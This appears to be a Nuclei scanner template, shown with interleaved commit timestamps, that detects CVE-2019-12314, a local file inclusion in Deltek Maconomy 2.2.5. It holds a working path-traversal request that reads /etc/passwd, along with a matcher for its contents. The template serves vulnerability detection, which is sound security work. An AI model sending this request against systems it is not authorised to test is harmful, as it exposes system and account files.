2021-01-02 04:59:06 +00:00
id : CVE-2019-12314
2020-04-08 08:33:39 +00:00
info :
name : Deltek Maconomy 2.2.5 LFIl
author : madrobot
severity : high
2021-02-05 19:44:41 +00:00
tags : cve,cve2019,lfi
2021-03-26 06:52:14 +00:00
description : Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI.
reference : |
http://packetstormsecurity.com/files/153079/Deltek-Maconomy-2.2.5-Local-File-Inclusion.html
https://github.com/JameelNabbo/exploits/blob/master/Maconomy%20Erp%20local%20file%20include.txt
https://github.com/ras313/CVE-2019-12314/security/advisories/GHSA-8762-rf4g-23xm
2020-04-08 08:33:39 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd"
2020-07-08 11:38:57 +00:00
matchers-condition : and
2020-04-08 08:33:39 +00:00
matchers :
- type : status
status :
2020-05-25 07:49:06 +00:00
- 200
2020-04-08 08:33:39 +00:00
- type : regex
regex :
2020-05-25 07:49:06 +00:00
- "root:[x*]:0:0:"
2020-04-08 08:33:39 +00:00
part : body
